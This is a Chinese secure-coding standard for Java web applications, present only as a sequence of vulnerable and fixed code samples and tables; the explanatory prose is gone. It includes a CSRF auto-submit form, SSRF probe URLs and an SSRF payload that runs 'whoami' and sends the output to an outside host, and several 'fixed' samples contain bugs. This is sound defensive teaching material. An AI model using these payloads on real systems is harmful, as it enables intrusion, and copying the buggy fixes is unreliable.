【软件开发规范四】《应用系统安全编码规范》

<%

 //String num = request.getParameter("num");

 String num="4";

 int charNum = 4;    // 随机产生字符数量

 if(num != null){

  charNum = Integer.parseInt(num);

 }

 int width = 74;     // 图片宽

 int height = 30;     // 图片高

 int lineSize = 100;    // 干扰线数量

 String randString="";       //需要绘制的随机字符串

 BufferedImage buffImage = new BufferedImage(width, height, BufferedImage.TYPE_INT_BGR); // BufferedImage类描述具有可访问图像数据缓冲区的Image

 Graphics2D g = buffImage.createGraphics();

 //设置背景色

 g.setColor(Color.white);

 g.fillRect(0, 0, width, height);

 //设置字体

 g.setFont(new Font("Times New Roman", Font.ROMAN_BASELINE, 18));

 //画边框

 g.drawRect(0,0,width-1,height-1);

 //绘制干扰线

 Random random = new Random();    

 for (int i = 0; i <= lineSize; i++)

 {

  int x = random.nextInt(width);

  int y = random.nextInt(height);

  int xl = random.nextInt(width/8);

  int yl = random.nextInt(height/8);

  g.setColor(randColor(130, 250));

  g.drawLine(x, y, x + xl, y + yl);

 }

 //字符集，从中随机产生字符串

 char[] characterSet = {'0','1','2','3','4','5','6','7','8','9',

  'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};

 g.setComposite(AlphaComposite.getInstance(AlphaComposite.SRC_OVER, 0.6f)); //设置透明色

 g.setFont(new Font("Fixedsys", Font.CENTER_BASELINE, 24));

 //产生随机验证码

 for (int i = 1; i <= charNum; i++)

 {   

  g.setColor(randColor(20,130));

  String rand = String.valueOf(characterSet[random.nextInt(characterSet.length)]); //获取随机的字符

  g.translate(random.nextInt(3), random.nextInt(3));

  g.drawString(rand, width/(charNum+2) * i, height/4*3);

  randString += rand;

 }

 g.dispose();

 System.out.println("验证码:"+randString);

 session.setAttribute("validateCode", randString);

 //禁止图像缓存。  

 response.setHeader("Pragma", "no-cache");  

 response.setHeader("Cache-Control", "no-cache");  

 response.setDateHeader("Expires", 0);  

 OutputStream os = response.getOutputStream();

 try

 {

  ImageIO.write(buffImage, "png", os);

  os.close();

  out.clear();

  out = pageContext.pushBody();

 }

 catch (IOException e)

 {

  e.printStackTrace();

 }

%>

<%!

/*

 * 随机获取颜色

 */

private Color randColor(int fc, int bc)

{

 Random random = new Random();

 if (fc > 255)

  fc = 255;

 if (bc > 255)

  bc = 255;

 int r = fc + random.nextInt(bc - fc);

 int g = fc + random.nextInt(bc - fc);

 int b = fc + random.nextInt(bc - fc);

 return new Color(r, g, b);

}

%>

public int doControl() throws SsException {

 try {

  String sms_input =(String)mapValue.get("sms_yzm");

  String errMsg=(String)mapValue.get("respmsg");

  String sms_yzm = priDataCache.getParam("sms_yzm");

  String sms_time = priDataCache.getParam("sms_yzm_time");

boolean isBeyondCount=false;

  //检查是否获取到短信验证码

  if(sms_yzm==null || sms_time==null ||sms_time.equals("")||sms_yzm.equals("")){

   priDataCache.setParam("respcode", "m2019");

   priDataCache.setParam("respmsg", "未获取短信验证码!");

   return -1;

  }

    //短信验证码超时检查

 if(System.currentTimeMillis()-180000>Long.parseLong(sms_time)){//三分钟

   priDataCache.setParam("respcode", "m2020");

   priDataCache.setParam("respmsg", "短信验证码已经超时，请重新获取");

   return -1;

  }

  //检查短信验证码是否已被使用

  if(sms_input!=null&&sms_input.equals(sms_yzm)){

   priDataCache.setParam("sms_yzm", "");

   priDataCache.setParam("sms_yzm_time", "");

  }

   //判断短信的错误尝试次数

        if(sms_input!=null){

int msgCount = iBaseDao.queryForInt("customer.countMsg", param);

     if(msgCount>10){

      isBeyondCount=true;}

if(isBeyondCount){

    TransUtil.buildResponseMessage(AppConstants.RspCode_FAIL, "短信验证码在一天之内不允许超过10次",rst);

    return rst;

}

else{

   priDataCache.setParam("respcode", "m2021");

   priDataCache.setParam("respmsg", errMsg);

   return -1;

  }

 }catch(Exception ex){

  Log.getInstance().error(logId,ex.getMessage(),ex);

  throw new SsException("m2022", "验证码输入不正确" + ex.toString());

 }

 return 0;

}

@RequestMapping(value="/delete/{addrId}")

public Object remove(@PathVariable Long addrId){     

     Map<String, Object> respMap = new HashMap<String, Object>();

     if (WebUtils.isLogged()) {

              this.addressService.removeUserAddress(addrId);            

             respMap.put(Constants.RESP_STATUS_CODE_KEY, Constants.RESP_STATUS_CODE_SUCCESS);

            respMap.put(Constants.MESSAGE,"地址删除成功!");

        }else{

         respMap.put(Constants.RESP_STATUS_CODE_KEY, Constants.RESP_STATUS_CODE_FAIL);

         respMap.put(Constants.ERROR,"用户没用登录，删除地址失败！");

        }

        return respMap;

}

public String getUUID(){

    UUID uuid=UUID.randomUUID();

    String str = uuid.toString();

    String uuidStr=str.replace("-", "");

    return uuidStr;

  }

@RequestMapping(value="/delete/{addrId}")

public Object remove(@PathVariable Long addrId){     

     Map<String, Object> respMap = new HashMap<String, Object>();

     if (WebUtils.isLogged()) {

              this.addressService.removeUserAddress(addrId,WebUtils.getLoggedUserId());            

             respMap.put(Constants.RESP_STATUS_CODE_KEY, Constants.RESP_STATUS_CODE_SUCCESS);

            respMap.put(Constants.MESSAGE,"地址删除成功!");

        }else{

         respMap.put(Constants.RESP_STATUS_CODE_KEY, Constants.RESP_STATUS_CODE_FAIL);

         respMap.put(Constants.ERROR,"用户没用登录，删除地址失败！");

        }

        return respMap;

}

@RequestMapping(value = "delete")

public String delete(HttpServletRequest request, @RequestParam Long id)

   throws Exception {

  try {

   userManager.delete(id);

   request.setAttribute("msg", "删除用户成功");

  } catch (ServiceException e) {

   // logger.error(e.getMessage(), e);

   request.setAttribute("msg", "删除用户失败");

  }

  return list(request);

}

public class PrivilegeFilter implements Filter

{

 private Properties properties=new Properties();

 @Override

 public void destroy(){properties=null;}

 @Override

 public void init(FilterConfig config) throws ServletException

 {

  //获取资源访问权限配置

  String fileName=config.getInitParameter("privilegeFile");

  String realPath=config.getServletContext().getRealPath(fileName);

  try

  {

   properties.load(new FileInputStream(realPath));

  }

  catch(Exception e)

  {

   config.getServletContext().log("读取权限控制文件失败",e);

  }

 }

 @Override

 public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain)

   throws IOException, ServletException

 {

  HttpServletRequest request=(HttpServletRequest)req;

  HttpServletResponse response=(HttpServletResponse)res;

  String requestUri=request.getRequestURI().replace(request.getContextPath()+"/", "");

  String action=request.getParameter("action");

  action=action==null?"":action;

  String uri=requestUri+"?action="+action;

  String role=(String)request.getSession().getAttribute("role");

  role=role==null?"guest":role;

  boolean authen=false;

  for(Object obj:properties.keySet())

  {

   String key=(String)obj;

   if(uri.matches(key.replace("?", "\\?").replace(".", "\\.").replace("*", ".*")))

   {

    if(role.equals(properties.get(key)))

    {

     authen=true;

     break;

    }

   }

  }

  if(!authen)

  {

   throw new RuntimeException("您无权访问该页面，请以合适的身份登录后查看。");

  }

  chain.doFilter(request, response);

 }

}

admin.do?action=*  =  administrator

list.do?action=add  =  admin

list.do?action=view  =  guest

<filter>

 <filter-name>privilegeFilter</filter-name>

 <filter-class>com.filter.privilegeFilter</filter-class>

 <init-param>

  <param-name>privilegeFile</param-name>

  <param-value>/WEB-INF/privilege.properties</param-value>

 </init-param>

</filter>

String GenerateReceiptURL(String baseUrl) {

    Random ranGen = new Random();

    ranGen.setSeed((new Date()).getTime());

    return(baseUrl + ranGen.nextInt(400000000) + ".html");

}

String GenerateReceiptURL(String baseUrl) {

    SecureRandom ranGen = SecureRandom.getInstance(DEF_RANDOM_ALGORITHM);

    ranGen.setSeed((new Date()).getTime());

    return(baseUrl + ranGen.nextInt(400000000) + ".html");

}

protected void doPost(HttpServletRequest request,

HttpServletResponse response) throws ServletException, IOException {

try {

byte data[] = new byte[1];

//取得用户提交的图片文件名，没有检测是否为图片，也没有检测是否包含../../目录跳转的字符

String imgName = request.getParameter("imgName");

String imgKey = MD5Encrypt.MD5(imgName);//本地

if (imageCache.containsKey(imgKey)) {

data = (byte[]) imageCache.get(imgKey);

} else {

String imagePath = Consts.IMG_LOCAL_PAHT + imgName;

//没有对该参数进行严格的验证和过滤，就拼接成完整的图片路径

InputStream inputStream = null;

File imageFile = new File(imagePath);

logger.debug(imagePath + "  " + imageFile.exists());

if (imageFile.exists() && imageFile.isFile()) {

inputStream = new FileInputStream(imagePath);

int i = inputStream.available();

data = new byte[i];

inputStream.read(data);

inputStream.close();

imageCache.put(imgKey, data);

} else {

……

}

}

//将文件内容输出到客户端

response.setContentType("image/*");

OutputStream outputStream = response.getOutputStream();

outputStream.write(data);

outputStream.close();

}

protected void doPost(HttpServletRequest request,

HttpServletResponse response) throws ServletException, IOException {

try {

ImageDao imgDao=new ImageDao();

byte data[] = new byte[1];

String imgID = request.getParameter("imgID");

String imgName=imgDao.getImage(imgID);

String imgKey = MD5Encrypt.MD5(imgName);//本地

if (imageCache.containsKey(imgKey)) {

data = (byte[]) imageCache.get(imgKey);

} else {

String imagePath = Consts.IMG_LOCAL_PAHT + imgName;

//没有对该参数进行严格的验证和过滤，就拼接成完整的图片路径

InputStream inputStream = null;

File imageFile = new File(imagePath);

logger.debug(imagePath + "  " + imageFile.exists());

if (imageFile.exists() && imageFile.isFile()) {

inputStream = new FileInputStream(imagePath);

int i = inputStream.available();

data = new byte[i];

inputStream.read(data);

inputStream.close();

imageCache.put(imgKey, data);

} else {

……

}

}

response.setContentType("image/*");//将文件内容输出到客户端

OutputStream outputStream = response.getOutputStream();

outputStream.write(data);

outputStream.close();

}

<a href=“http://xx.xx.xx.xx/upload/file1.jpg”>

String query = "SELECT account_balance FROM user_data WHERE user_name = ‘"

   + request.getParameter("customerName")+"’";

 try {

  Statement statement = connection.createStatement( … );

  ResultSet results = statement.executeQuery( query );

}

<select id="selectUsers" resultType="map">

  select id, username, hashedPassword

  from some_table

  where id = ${id}

</select>

String custname = request.getParameter("customerName");

String query = "SELECT account_balance FROM user_data WHERE user_name = ? ";

PreparedStatement pstmt = connection.prepareStatement( query );

pstmt.setString( 1, custname);

ResultSet results = pstmt.executeQuery( );

<select id="selectUsers" resultType="map">

  select id, username, hashedPassword

  from some_table

  where id = #{id}

</select>

String postid = request.getParameter("postid");

if (postid != null)

{

Statement stmt = con.createStatement();

ResultSet rs = null;

Codec MYSQL_CODEC = new MySQLCodec(Mode.STANDARD);

String escapeParam = ESAPI.encoder().encodeForSQL(MYSQL_CODEC, postid);

String sql = "select * from posts where postid=" + escapeParam;

rs = stmt.executeQuery(sql);

if (rs != null && rs.next())

{

out.print("<b style='font-size:22px'>Title:" + rs.getString("title") + "</b>");

out.print("<br/>-  Posted By " + rs.getString("user"));

out.print("<br/><br/>Content:<br/>" + rs.getString("content"));

}

}

<%out.print(request.getParameter("param")); %>

while(rs.next())

{

%>

<tr>

<td><%=rs.getInt("id") %></td>

<td><%=rs.getString("pname")%></td>

<td><%=rs.getString("pdesc")%></td>

<td><%=rs.getString("ptype")%></td>

</tr>

<%

}

<div>#escapeHTML($user.name)</div>

<td>#escapeHTML($user.name)</td>

&

<

>

"

'

&

<

>

"

'

<script>alert('#escapeJavaScript($user.name)')</script>

<script>x='#escapeJavaScript($user.name)'</script>

<div onmouseover="x='#escapeJavaScript($user.name)'"</div>

/

'

"

\

\/

\'

\"

\\

String safe = ESAPI.encoder().encodeForCSS( request.getParameter("input"));

<?xml version="1.0" encoding="UTF-8" ?>

<man>

<name>#xmlEscape($name)</name>

<man>

String cityname=”北京<B>”+StringUtil.htmlEscape(city.name)+”</B>”;

String json =

"citys:{city:['"+

StringUtil.javascript(cityname) +

"']}";

response.setContentType("application/json");

PrintWriter out = response.getWriter();

out.println(StringUtil.htmlEscape(ajaxReturn));

标签

属性

规则

script

all

remove

style

style

css特殊处理

head

all

remove

iframe

all

remove

frame

all

remove

frameset

all

remove

标签

属性

规则

a

style、align、bgcolor、background、title、href

accept

hr

id、style、align、bgcolor、background、title

accept

标签

属性

规则

h1

id、style、align、bgcolor、background、title

accept

h2

id、style、align、bgcolor、background、title

accept

h3

id、style、align、bgcolor、background、title

accept

h4

id、style、align、bgcolor、background、title

accept

h5

id、style、align、bgcolor、background、title

accept

h6

id、style、align、bgcolor、background、title

accept

font

align、bgcolor、background、title、color、size

em

id、style、align、bgcolor、background、title

accept

标签

属性

规则

marquee

style、align、bgcolor、background、title

accept

标签

属性

规则

bgsound

src、loop、autostart

accept

blockquote

id、style、align、bgcolor、background、title

accept

int userid=Integer.valueOf(request.getSession().getAttribute("userid").toString());

String email=request.getParameter("email");

String tel=request.getParameter("password");

String realname=request.getParameter("realname");

Object[] params = new Object[4];

params[0] = email;

params[1] = password;

params[2] = realname;

params[3] = userid;

final String sql = "update user set email=?,password=?,realname=? where userid=?";

conn.execUpdate(sql,params);

<script>

    document.form1.submit();

</script>

<div style="display:'none'">

<form name="form1" action="http://A.com/modify.jsp" method="POST">

<input name="email" value="test@test.com">

<input name="password" value="test">

<input name="realname" value="test">

<input type="submit">

</form>

</div>

// 从 HTTP 头中取得 Referer 值

String referer=request.getHeader("Referer");

// 判断 Referer 是否以 bank.example 开头

if((referer!=null) &&(referer.trim().startsWith(“bank.example”))){

    chain.doFilter(request, response);

}else{

request.getRequestDispatcher(“error.jsp”).forward(request,response);

}

HttpServletRequest req = (HttpServletRequest)request;

HttpSession s = req.getSession();

// 从 session 中得到 csrftoken 属性

String sToken = (String)s.getAttribute(“csrftoken”);

if(sToken == null){

    // 产生新的 token 放入 session 中

    sToken = generateToken();

    s.setAttribute(“csrftoken”,sToken);

    chain.doFilter(request, response);

} else{

    // 从 HTTP 头中取得 csrftoken

    String xhrToken = req.getHeader(“csrftoken”);

    // 从请求参数中取得 csrftoken

    String pToken = req.getParameter(“csrftoken”);

    if(sToken != null && xhrToken != null && sToken.equals(xhrToken)){

        chain.doFilter(request, response);

    }else if(sToken != null && pToken != null && sToken.equals(pToken)){

        chain.doFilter(request, response);

    }else{

request.getRequestDispatcher(“error.jsp”).forward(request,response);

    }

 }

private boolean doLogin(HttpServletRequest request) throws ParserConfigurationException, SAXException, IOException, XPathExpressionException

{

String userName=request.getParameter("username");

String password=request.getParameter("userpass");

DocumentBuilderFactory domFactory=DocumentBuilderFactory.newInstance();

domFactory.setNamespaceAware(true);

DocumentBuilder builder=domFactory.newDocumentBuilder();

Document doc=builder.parse(request.getRealPath("WEB-INF")+"/users.xml");

XPathFactory factory=XPathFactory.newInstance();

XPath xPath=factory.newXPath();

XPathExpression expression=xPath.compile("//users/user[username/text()='"+userName+"' and password/text()='"+password+"']");

Object result=expression.evaluate(doc, XPathConstants.NODESET);

NodeList nodes=(NodeList)result;

return (nodes.getLength()>=1);

}

declare variable $username as xs:string extenal;

declare variable $password as xs:string extenal;

//users/user[@username=$username and @password=$password]

private boolean doLogin(HttpServletRequest request) throws ParserConfigurationException, SAXException, IOException, XPathExpressionException

{

String userName=request.getParameter("username");

String password=request.getParameter("userpass");

DocumentBuilderFactory domFactory=DocumentBuilderFactory.newInstance();

domFactory.setNamespaceAware(true);

DocumentBuilder builder=domFactory.newDocumentBuilder();

Document doc=builder.parse(request.getRealPath("WEB-INF")+"/users.xml");

XQuery xquery=new XQueryFactory().createXQuery(new File(request.getRealPath("WEB-INF")+"/login.xq"));

Map queryMap=new HashMap();

queryMap.put("username",userName);

queryMap.put("password", password);

NodeList nodes=xquery.execute(doc,null,queryMap).toNodes();

NodeList nodes=(NodeList)result;

return (nodes.getLength()>=1);

}

ESAPI.encoder().encodeForXPath($userInput$);   

InputStream xml=request.getInputStream();

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();

DocumentBuilder builder = factory.newDocumentBuilder();

InputSource is = new InputSource(xml);

Document doc = builder.parse(is);

Element element = doc.getDocumentElement();

NodeList nodes = element.getChildNodes();

out.print("<br/>Result:<br/>");

out.print("---------------------<br/>");

for (int i = 0; i < nodes.getLength(); i++) {

out.print(nodes.item(i).getNodeName()+" : " + nodes.item(i).getFirstChild().getNodeValue().toString());

            out.print("<br/>");

}

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

try {

      // 这是优先选择. 如果不允许DTDs (doctypes) ,几乎可以阻止所有的XML实体攻击

      String FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";

      dbf.setFeature(FEATURE, true);

}catch (ParserConfigurationException e) {

            // This should catch a failed setFeature feature

            ...

}catch (SAXException e) {

            // On Apache, this should be thrown when disallowing DOCTYPE

        ...

}catch (IOException e) {

            // XXE that points to a file that doesn't exist

            ...

}

featureString="http://xml.org/sax/features/external-general-entities";

factory.setFeature(featureString, false);

featureString="http://xml.org/sax/features/external-parameter-entities";

factory.setFeature(featureString, false);

featureString="http://apache.org/xml/features/nonvalidating/load-external-dtd";

factory.setFeature(featureString, false);

XMLInputFactory factory = XMLInputFactory.newInstance();

factory.setProperty(XMLInputFactory.SUPPORT_DTD, false);  //会完全禁止DTD

XMLStreamReader reader = factory.createXMLStreamReader(new FileReader("users.xml"));

String url = request.getParameter("url");

if(url!=null&&url.length()>0)

{

URL u = new URL(url);

URLConnection urlConn = u.openConnection();  

int length = urlConn.getContentLength();  

if (length > 0) {             

            InputStream input = urlConn.getInputStream();    

            int i = length;  

            int c;  

            while ((c = input.read()) != -1 && --i > 0) {  

                out.print((char) c);  

            }  

            input.close();  

        } else {  

            out.println("No Content.");  

        }

}

else

{

out.println("xxxxxxxxxx");

}

ssrf.jsp? url=http://{IP}:8080/dir/images/

ssrf.jsp? url=http://{IP}:22/dir/public/image.jpg

ssrf.jsp? url=http://{IP}:3306/dir/images/

ssrf.jsp? url=http://{IP}/login.action?redirect:$%7Bnew%20java.net.URL('http://{IP}:{port}/test.jsp?'%2Bnew%20java.io.BufferedReader(new%20java.io.InputStreamReader(new%20java.lang.ProcessBuilder(%7B'whoami'%7D).start().getInputStream())).readLine()).openConnection().getInputStream()%7D

String urlParam = request.getParameter("urlparam");

if(urlParam!=null&& urlParam.length()>0)

{

    String url=urlDao.getRequestURL(urlParam);

URL u = new URL(url);

URLConnection urlConn = u.openConnection();  

int length = urlConn.getContentLength();  

if (length > 0) {             

            InputStream input = urlConn.getInputStream();    

            int i = length;  

            int c;  

            while ((c = input.read()) != -1 && --i > 0) {  

                out.print((char) c);  

            }  

            input.close();  

        } else {  

            out.println("No Content.");  

        }

}

else

{

out.println("xxxxxxxxxx");

}

String btype = request.getParameter(“backuptype”);

String cmd = new String(“cmd.exe /K \”c:\\util\\rmanDB.bat” + btype + “&&c:\\util\\cleanup.bat\””)

Runtime.getRuntime.exec(cmd);

final static int MAXNAME = 50;

final static String FILE_REGEX = “[a-zA-Z]{1,"+MAXNAME+"};

final static Pattern BACKUP_PATTERN = Pattern.compile(FILE_REGEX);

public void validateBackupName(String backupname){

    if(backupname == null || !BACKUP_PATTERN.matcher(backupname).matches()){

        throw new ValidationException(illegal backupname");

    }

}

......

String btype = validateBackupName(request.getParamter("backuptype"));

String cmd = new String(“cmd.exe /K \”c:\\util\\rmanDB.bat” + btype + “&&c:\\util\\cleanup.bat\””)

Runtime.getRuntime.exec(cmd);

public Object risk(HttpServletRequest request ,org.apache.log4j.Logger logger) {

    Object obj = null;

    try {

        String className = request.getParameter("className");

        obj = Class.forName(className).newInstance();

    } catch (InstantiationException e) {

        logger.warn(“Exception1”, e);

    } catch (IllegalAccessException e) {

        logger.warn(“Exception2”, e);

    } catch (ClassNotFoundException e) {

        logger.warn(“Exception3”, e);

    }

    return obj;

}

public Object fix(HttpServletRequest request,Map<String, Class<?>> whiteList ,org.apache.log4j.Logger logger) {

    Object obj = null;

    try {

        String className = request.getParameter("className");

        if (whiteList.containsKey(className)) {

        obj = whiteList.get(className).newInstance();

        }

    } catch (InstantiationException e) {

        logger.warn(“Exception1”, e);

    } catch (IllegalAccessException e) {

        logger.warn(“Exception2”, e);

    }

    return obj;

}

public void risk(HttpServletRequest request, HttpServletResponse response) {

    String key = request.getParameter("key");

    String value = request.getParameter("value");

    response.setHeader(key, value);

}

public void fix(HttpServletRequest request, HttpServletResponse response) {

    String key = request.getParameter("key");

    String value = request.getParameter("value");

    key = key.replace("\r", "");

    key = key.replace("\n", "");

    value = value.replace("\r", "");

    value = value.replace("\n", "");

    response.setHeader(key, value);

}

public class RedirectServlet extends HttpServlet {

  protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

     String query = request.getQueryString();

     if (query.contains("url")) {

      String url = request.getParameter("url");

      response.sendRedirect(url);

       }

     }

   }

<Manager

sessionIdLength="20"

pathname="SESSIONS.ser"

maxActiveSessions="8000"

secureRandomAlgorithm="SHA1PRNG"

secureRandomClass="java.security.SecureRandom" />

属性

描述

sessionIdLength

服务器端生成SessionID的长度，默认长度为16字节

pathname

指定服务器端session值存放文件

maxActiveSessions

会话管理器创建会话的最大数量，当值为-1时为不指定最大会话数量。若超出指定的最大数量，新创建会话将失败。

secureRandomAlgorithm

指定生成SessionID的种子算法，用于初始化SecureRandom实例对象，默认为SHA1PRNG

secureRandomClass

指定创建SessionID会话的类，默认值为java.security.SecureRandom;

public HttpSession changeSessionIdentifier(HttpServletRequest request) throws AuthenticationException {

// get the current session

HttpSession oldSession = request.getSession();

// make a copy of the session content

Map<String,Object> temp = new ConcurrentHashMap<String,Object>();

Enumeration e = oldSession.getAttributeNames();

while (e != null && e.hasMoreElements()) {

String name = (String) e.nextElement();

Object value = oldSession.getAttribute(name);

temp.put(name, value);

}

// kill the old session and create a new one

oldSession.invalidate();

HttpSession newSession = request.getSession();

User user = ESAPI.authenticator().getCurrentUser();

user.addSession( newSession );

user.removeSession( oldSession );

// copy back the session content

      for (Map.Entry<String, Object> stringObjectEntry : temp.entrySet())

      {

         newSession.setAttribute(stringObjectEntry.getKey(), stringObjectEntry.getValue());

}

return newSession;

}

public static String getDeviceId(Context context) {

StringBuilder deviceId = new StringBuilder();

// 渠道标志

deviceId.append("a");

try {

//wifi mac地址

WifiManager wifi = (WifiManager) context.getSystemService(Context.WIFI_SERVICE);

WifiInfo info = wifi.getConnectionInfo();

String wifiMac = info.getMacAddress();

if(!isEmpty(wifiMac)){

deviceId.append("wifi");

deviceId.append(wifiMac);

PALog.e("getDeviceId : ", deviceId.toString());

return deviceId.toString();

}

//IMEI（imei）

TelephonyManager tm = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);

String imei = tm.getDeviceId();

if(!isEmpty(imei)){

deviceId.append("imei");

deviceId.append(imei);

PALog.e("getDeviceId : ", deviceId.toString());

return deviceId.toString();

}

//序列号（sn）

String sn = tm.getSimSerialNumber();

if(!isEmpty(sn)){

deviceId.append("sn");

deviceId.append(sn);

PALog.e("getDeviceId : ", deviceId.toString());

return deviceId.toString();

}

//如果上面都没有， 则生成一个id：随机码

String uuid = getUUID(context);

if(!isEmpty(uuid)){

deviceId.append("id");

deviceId.append(uuid);

PALog.e("getDeviceId : ", deviceId.toString());

return deviceId.toString();

}

} catch (Exception e) {

e.printStackTrace();

deviceId.append("id").append(getUUID(context));

}

PALog.e("getDeviceId : ", deviceId.toString());

return deviceId.toString();

}

/**

* 得到全局唯一UUID

*/

public static String getUUID(Context context){

SharedPreferences mShare = getSysShare(context, "sysCacheMap");

if(mShare != null){

uuid = mShare.getString("uuid", "");

}

if(isEmpty(uuid)){

uuid = UUID.randomUUID().toString();

saveSysMap(context, "sysCacheMap", "uuid", uuid);

}

PALog.e(tag, "getUUID : " + uuid);

return uuid;

}

NSString *uuid = [[NSUUID UUID] UUIDString];//获取UUID

NSString *idfv = [[[UIDevice currentDevice] identifierForVendor] UUIDString];//获取IDFV标识

NSString *identifierForAdvertising = [[ASIdentifierManager sharedManager].advertisingIdentifier UUIDString];//获取IDFA标识

var fingerprint = new Fingerprint().get();

public class UserSessionAdd {

    private String clientInfo;

    private String sessID;

    private String userName

    public String getUserName(){

       return userName

    }

    Public void setUserName(String username){

       this.userName=username;

    }

    public String getClient() {

       return clientInfo;

    }

    public void setClient(String client) {

       this.clientInfo = client;

    }

    public String getSessid() {

       return sessID;

    }

    public void setSessID(String sessid) {

       this.sessID = sessid;

    }

   }

public class MyListener implements HttpSessionAttributeListener{

    Map<String, HttpSession> map = new HashMap<String, HttpSession>();

    //对用户Session操作进行监听

public void attributeAdded(HttpSessionBindingEvent event) {

       String name = event.getName();

       if(name.equals("usa")){

           UserSessionAdd usa = (UserSessionAdd)event.getValue();

           if(map.get(usa.getAdd())!=null){

              HttpSession sess = map.get(usa.getAdd());

              //获取用户Session Attribute

UserSessionAdd usa1 = (UserSessionAdd)sess.getAttribute("usa");

              sess.removeAttribute("usa");

              sess.invalidate();

           }

           map.put(usa.getAdd(), event.getSession());

       }

    }

    public void attributeRemoved(HttpSessionBindingEvent event) {

       String name = event.getName();

       if(name.equals("usa")){

           UserSessionAdd usa = (UserSessionAdd)event.getValue();

           map.remove(usa.getAdd());

       }

    }

    public void attributeReplaced(HttpSessionBindingEvent event) {

       // TODO Auto-generated method stub

       ````

    }

}

<listener>

       <listener-class>监听器类的路径，如：com.web.MyListener</listener-class>

</listener>

//获取用户设备指纹信息

String userClient = getClientInfo(request.getRemoteHost());

String sessionId = request.getSession().getId();

UserSessionAdd usa = new UserSessionAdd();

usa.setUserName(username);

usa.setSessID(sessionId);

usa.setClient(userClient);

request.getSession().setAttribute(“usa”,usa);

var get_serialnum = $request({

    'type': 'GET',

    'url': '/access_serialnum'

 });

 var create_req = function(request){

     // post

     return get_token({uid: 1001}).then(function(serialnum){

         return $request({

             'type': 'POST',

             'url': '/books',

             // 将序列号放入请求头部，每次请求+1

             'headers': {

                 'serialnummber': serialnum.serialnumber+1

             }

         })(request);

     });

 }

 var book = {name: '如何变得有思想', author: '阮一峰', publisher: '人民邮电出版社'};

 create_req(book).then(function(res){

    console.log(res);

    // 200 ok! book created

 });

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {

HttpServletRequest req=(HttpServletRequest)request;

HttpServletResponse res=(HttpServletResponse)response;

String serialNum=req.getHeader("serialnummber");

       if(String.isNullOrEmpty(serialNum))

       {

res.getWriter().write("该请求已失效");

return;

}

long reqnum=Long.parseLong(serialNum);

long servnum=Long.parseLong(req.getSession().getAttribute("serialnummber"))+1

//若请求中携带的序列号小于或等于服务器端存储的经过计算后的序列号值，则判定为非法请求

if(reqTime<=servnum)

{

res.getWriter().write("该请求已失效"); 

return;

}

       req.getSession().setAttribute("serialnummber",servnum);

chain.doFilter(request, response);

}

public class ReplayFilter implements Filter {

private long appTimeStamp=-1;

    public ReplayFilter() {

        // TODO Auto-generated constructor stub

    }

public void destroy() {

appTimeStamp=-1;

}

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {

HttpServletRequest req=(HttpServletRequest)request;

HttpServletResponse res=(HttpServletResponse)response;

long reqTime=Long.parseLong(req.getParameter("timestamp"));

long serverTime=System.currentTimeMillis();

//判断请求时间是否有效

if(reqTime<serverTime+appTimeStamp)

{

res.getWriter().write("该请求已失效");

return;

}

chain.doFilter(request, response);

}

public void init(FilterConfig fConfig) throws ServletException {

//从配置文件中获取时间间隔，间隔值越大，越能包容网络延时，间隔值越小，越能防护重放攻击

appTimeStamp=APPHelper.getTimeStamp();

}

}

<script src="http://crypto-js.googlecode.com/svn/tags/3.0.2/build/rollups/hmac-sha256.js"></script>

<script type="text/javascript">

//获取服务器返回的随机值

var randomNum=getRandom();

  $(function() {

    $.ajax({

        type : 'post',

        url : 'xxxx.do',

        dataType : 'json',

        data : {

            //对密码进行HMAC运算

'password' : +CryptoJS.HmacSHA256($('#pwd').val(),randomNum)

        },

        success : function(data) {

            if(data != null && data.length > 0){

                //这里该怎么写

            }

        },

        error : function() {

            $.message.alert('提示', '请求失败！', 'error');

        }

    });

});

</script>

import javax.crypto.Mac;

import javax.crypto.spec.SecretKeySpec;

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

     String username=request.getParameter(“user”);

     String hmacPwd=request.getParameter(“password”)

     String password=getPasswordFromDB(username);

     Mac sha256_HMAC = Mac.getInstance("HmacSHA256");

     SecretKeySpec secret_key = new SecretKeySpec(password.getBytes(), “HmacSHA256”);

     sha256_HMAC.init(secret_key);

     if(hmacPwd.equals(sha256_HMAC.dofinal()))

     {

          //验证通过，处理业务

}

}

数据类型

数据内容

不完全显示方式 

真实姓名

张三四

张**

身份证号

352714198007070123

3527************123

手机号

17033890403

17033****03

邮箱地址

myemail123@gmail.com

myemail**@gmail.com

银行账户

6220432568904621

6220*********621

资金账户

620000365409

620******409

try {

PreparedStatement pst = conn.prepareStatement(sql);

ResultSet rs  = pst.executeQuery();

while(rs.next()){

User u = new User();

u.setId(rs.getLong("id"));

u.setName(rs.getString("name"));

u.setPass(rs.getString("pass"));

u.setType(rs.getInt("type"));

userlist.add(u);

}

System.out.println();

if(rs != null) rs.close();

if(pst  != null) pst.close();

if(conn != null) conn.close();

} catch (SQLException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

<%@   page  errorPage="/error.jsp" %>

<%@  page  isErrorPage="true"%>

<error-page>

    <error-code>404</error-code>

<location>/error.jsp</location>

    <error-code>500</error-code>

    <location>/error.jsp</location>

  </error-page>